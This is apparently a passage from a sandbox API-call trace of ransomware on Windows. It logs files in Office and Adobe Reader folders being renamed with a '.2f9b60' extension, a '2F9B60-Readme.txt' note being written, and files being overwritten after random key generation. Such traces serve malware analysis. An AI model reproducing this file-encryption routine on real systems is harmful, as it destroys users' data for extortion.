_Format="%c%c" | out: _Dest="b5") returned 2 [0164.778] RtlInitAnsiString (in: DestinationString=0x3566fe18, SourceString="5b801526c2e6d92c673d8580e05258d1bf7e52334ed5834c6b2475c929a6046091de8ed414243723e496f9fdc594a5ebcec96c734dc8fbce9f40e17970d657b9ef08c619f81a5278dc011a056b627acc575f3a0570b5" | out: DestinationString="5b801526c2e6d92c673d8580e05258d1bf7e52334ed5834c6b2475c929a6046091de8ed414243723e496f9fdc594a5ebcec96c734dc8fbce9f40e17970d657b9ef08c619f81a5278dc011a056b627acc575f3a0570b5") [0164.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x3566fde8, SourceString="5b801526c2e6d92c673d8580e05258d1bf7e52334ed5834c6b2475c929a6046091de8ed414243723e496f9fdc594a5ebcec96c734dc8fbce9f40e17970d657b9ef08c619f81a5278dc011a056b627acc575f3a0570b5", AllocateDestinationString=1 | out: DestinationString="5b801526c2e6d92c673d8580e05258d1bf7e52334ed5834c6b2475c929a6046091de8ed414243723e496f9fdc594a5ebcec96c734dc8fbce9f40e17970d657b9ef08c619f81a5278dc011a056b627acc575f3a0570b5") returned 0x0 [0164.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15a) returned 0x1cdb89f0 [0164.779] RtlFreeAnsiString (AnsiString="5") [0164.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b710) returned 1 [0164.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86850) returned 1 [0164.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb990) returned 1 [0164.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc970) returned 1 [0164.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0164.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197a0) returned 1 [0164.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f0c0) returned 1 [0164.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0164.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205002c0) returned 1 [0164.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500320) returned 1 [0164.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500350) returned 1 [0164.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x42c15b90 [0164.781] wcscat (in: _Dest=0x42c15b90, _Source="5b801526c2e6d92c673d8580e05258d1bf7e52334ed" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed" [0164.782] wcscat (in: _Dest=0x42c15b90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed.2f9b60" [0164.782] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed.2f9b60", NtPathName=0x3566fdc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\5b801526c2e6d92c673d8580e05258d1bf7e52334ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12a) returned 0x188990 [0165.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188990) returned 1 [0165.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c0c0) returned 1 [0165.090] NtQueryInformationFile (in: FileHandle=0x2594, IoStatusBlock=0x3566fe28, FileInformation=0x3566fe38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3566fe28, FileInformation=0x3566fe38) returned 0x0 [0165.090] NtSetInformationFile (FileHandle=0x2594, IoStatusBlock=0x3566fe28, FileInformation=0x3566fe38, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15b90) returned 1 [0165.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb89f0) returned 1 [0165.092] FlushFileBuffers (hFile=0x2594) returned 1 [0166.276] CloseHandle (hObject=0x2594) returned 1 [0200.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced0900 [0200.295] wcscpy (in: _Dest=0x1ced0900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" [0200.295] wcscat (in: _Dest=0x1ced0900, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\2F9B60-Readme.txt" [0200.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\2f9b60-readme.txt")) returned 0xffffffff [0200.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1068 [0204.249] WriteFile (in: hFile=0x1068, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3566fce0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3566fce0*=0xba9, lpOverlapped=0x0) returned 1 [0209.483] CloseHandle (hObject=0x1068) returned 1 [0216.725] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0900) returned 1 [0216.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169090) returned 1 [0216.726] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="VERISI~2.CER")) returned 1 [0216.726] wcscmp (_String1="VeriSign_Class_3_Public_Primary_CA.cer", _String2=".") returned 1 [0216.726] wcscmp (_String1="VeriSign_Class_3_Public_Primary_CA.cer", _String2="..") returned 1 [0216.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf4) returned 0x1b78ed80 [0216.726] wcscpy (in: _Dest=0x1b78ed80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" [0216.726] wcscat (in: _Dest=0x1b78ed80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" [0216.726] wcscat (in: _Dest=0x1b78ed80, _Source="VeriSign_Class_3_Public_Primary_CA.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" [0216.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b78ed80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a0 [0216.788] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 1 [0216.788] wcscmp (_String1="VS_ComponentSigningIntermediate.cer", _String2=".") returned 1 [0216.788] wcscmp (_String1="VS_ComponentSigningIntermediate.cer", _String2="..") returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78e980 [0216.789] wcscpy (in: _Dest=0x1b78e980, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" [0216.789] wcscat (in: _Dest=0x1b78e980, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" [0216.789] wcscat (in: _Dest=0x1b78e980, _Source="VS_ComponentSigningIntermediate.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" [0216.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b78e980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f24 [0216.790] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 0 [0216.790] FindClose (in: hFindFile=0x1cd9c610 | out: hFindFile=0x1cd9c610) returned 1 [0216.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b400) returned 1 [0216.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108200) returned 1 [0216.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cb30) returned 1 [0216.793] FindNextFileW (in: hFindFile=0x1ced6220, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0216.793] FindClose (in: hFindFile=0x1ced6220 | out: hFindFile=0x1ced6220) returned 1 [0216.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ddf0) returned 1 [0216.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 [0216.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1410) returned 1 Thread: id = 2061 os_tid = 0x1334 [0138.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205e250 [0138.032] wcscpy (in: _Dest=0x4205e250, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0138.032] wcscat (in: _Dest=0x4205e250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\" [0138.032] wcscat (in: _Dest=0x4205e250, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*" [0138.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027fda0 [0138.032] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6280 [0138.034] wcscmp (_String1=".", _String2=".") returned 0 [0138.035] FindNextFileW (in: hFindFile=0x1ced6280, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.035] wcscmp (_String1="..", _String2=".") returned 1 [0138.035] wcscmp (_String1="..", _String2="..") returned 0 [0138.035] FindNextFileW (in: hFindFile=0x1ced6280, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1027.mst", cAlternateFileName="")) returned 1 [0138.035] wcscmp (_String1="1027.mst", _String2=".") returned 1 [0138.035] wcscmp (_String1="1027.mst", _String2="..") returned 1 [0138.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0138.035] wcscpy (in: _Dest=0x1b776690, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0138.035] wcscat (in: _Dest=0x1b776690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\" [0138.035] wcscat (in: _Dest=0x1b776690, _Source="1027.mst" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" [0151.877] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst")) returned 0x21 [0151.877] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", dwFileAttributes=0x20) [0183.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1027.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a4 [0183.220] GetFileSizeEx (in: hFile=0x14a4, lpFileSize=0x34f2fae0 | out: lpFileSize=0x34f2fae0*=43008) returned 1 [0183.220] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0xa7fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.220] ReadFile (in: hFile=0x14a4, lpBuffer=0x34f2fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34f2faa8, lpOverlapped=0x0 | out: lpBuffer=0x34f2fa60*, lpNumberOfBytesRead=0x34f2faa8*=0x4, lpOverlapped=0x0) returned 1 [0183.260] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d314f0 [0183.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31520 [0183.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31550 [0183.261] NtQuerySystemTime (in: CurrentTime=0x34f2f9a0 | out: CurrentTime=0x34f2f9a0*=132462177883618000) returned 0x0 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x9106ead [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x40bb3f98 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x8535f4c [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x10a8e9ae [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x10001e7a [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x6140e86d [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x7347914c [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x7d4969e2 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x39c7b820 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x31d4463d [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x24249766 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1032b88b [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4bef9401 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x25ba39ab [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x5a360f0d [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x3e4fa16f [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1c050079 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x18dcee84 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x655a9fc1 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0xdf96e7 [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x2d8f226e [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1083f7cf [0183.261] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4dd74756 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x3a18aa84 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4383d1c9 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x9be39b0 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x10d48b2b [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4323efd2 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x5e43d32b [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x6705a621 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x18980668 [0183.262] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x30d68dce [0183.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31580 [0183.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867040 [0183.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d315b0 [0183.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0183.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31550) returned 1 [0183.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d314f0) returned 1 [0183.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428345f0 [0183.272] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.272] ReadFile (in: hFile=0x14a4, lpBuffer=0x428345f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34f2fa00, lpOverlapped=0x0 | out: lpBuffer=0x428345f0*, lpNumberOfBytesRead=0x34f2fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0183.540] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0183.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866dc0 [0183.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31ca0 [0183.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31ca0) returned 1 [0183.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42bdced0 [0183.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31ca0 [0183.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32930 [0183.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32930) returned 1 [0183.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0183.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0183.543] WriteFile (in: hFile=0x14a4, lpBuffer=0x42bdced0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34f2fa00, lpOverlapped=0x0 | out: lpBuffer=0x42bdced0*, lpNumberOfBytesWritten=0x34f2fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0204.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42bdced0) returned 1 [0204.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428345f0) returned 1 [0204.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced7560 [0204.764] SetFilePointerEx (in: hFile=0x14a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.764] WriteFile (in: hFile=0x14a4, lpBuffer=0x431a9e80*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34f2fab0, lpOverlapped=0x0 | out: lpBuffer=0x431a9e80*, lpNumberOfBytesWritten=0x34f2fab0*=0x102, lpOverlapped=0x0) returned 1 [0219.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0219.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0219.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0219.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0219.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5f0 [0219.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0219.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x4205a5f0 